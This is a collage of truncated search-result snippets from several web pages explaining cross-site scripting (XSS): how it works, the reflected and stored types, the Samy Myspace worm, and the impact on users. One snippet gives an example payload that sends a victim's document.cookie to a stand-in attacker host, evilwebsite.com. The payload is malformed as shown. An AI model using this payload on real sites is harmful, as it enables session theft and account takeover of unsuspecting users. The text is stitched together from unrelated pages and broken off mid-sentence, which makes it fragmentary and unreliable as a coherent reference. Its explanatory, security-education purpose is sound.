How it works: A XSS attack example Types of XSS attacks How to prevent XSS attacks? How to detect XSS attacks using a SIEM solution? Home Attack library What is cross-site scripting (XSS)? XSS (cross-site scripting), is a prominent security vulnerability in web applications, where an ...
1. Reflected XSS (cross-site scripting) Reflected XSS, also known as non-persistent XSS, is the most common and simplest form of XSS attack. The hacker’s payload must be included in a request sent to a web server and is then included in the HTTP response. This method is used by atta...
How does cross-site scripting work? Here’s an example. i=new/**/Image();isrc=http://evilwebsite.com/log.php?'+document.cookie+' '+document.location While the payload is usually JavaScript, XSS can take place using any client-side language. To carry out a cross...
A famous example of this type of attack is called Samy. Samy was a cross-site scripting computer worm that propagated across the social networking site Myspace. When a user viewed an infected profile, the payload would be replicated and planted on their own profile to continue the distribution...
Reflected cross-site scripting (Non-persistent XSS) The most common type of XSS is known as Reflected XSS (also known as Non-persistent XSS). In this case, the attacker's payload has to be a part of the request sent to the webserver. It is then reflected back in such a way that th...
Cross-site scripting can affect an entire organization as well. For example, if ane-commercewebsite is found to be the origin of an XSS attack, it can damage the company's reputation and the customer trust. What are examples of cross-site scripting?
Impact of Cross-Site Scripting When a web page is compromised with cross-site scripting, a collection of issues can quickly emerge. Possible concerns include, but are not limited to: Sensitive user data being exposed Attackers seizing online accounts and impersonating users ...
Starting with cross-site scripting (XSS), the common cold of security vulnerabilities. XSS AT ITS CORE XSS is a type of injection attack, which is another finding on the OWASP Top 10 vulnerabilities list. XSS involves injecting malicious code into a website that would otherwise appear harmless...
Cross-site scripting, also known as XSS, is a cyberattack that happens when a hacker injects malicious code into a legitimate website. Learn where XSS attacks come from and how they work, then find out how to protect yourself against all types of online threats with a top-tier security ...
Stored cross-site scripting is very dangerous because the payload is not visible to any client-side XSS filters and the attack can affect multiple users without any further action by the attacker. As an example, a stored XSS vulnerability can happen if an online message board or forum fails ...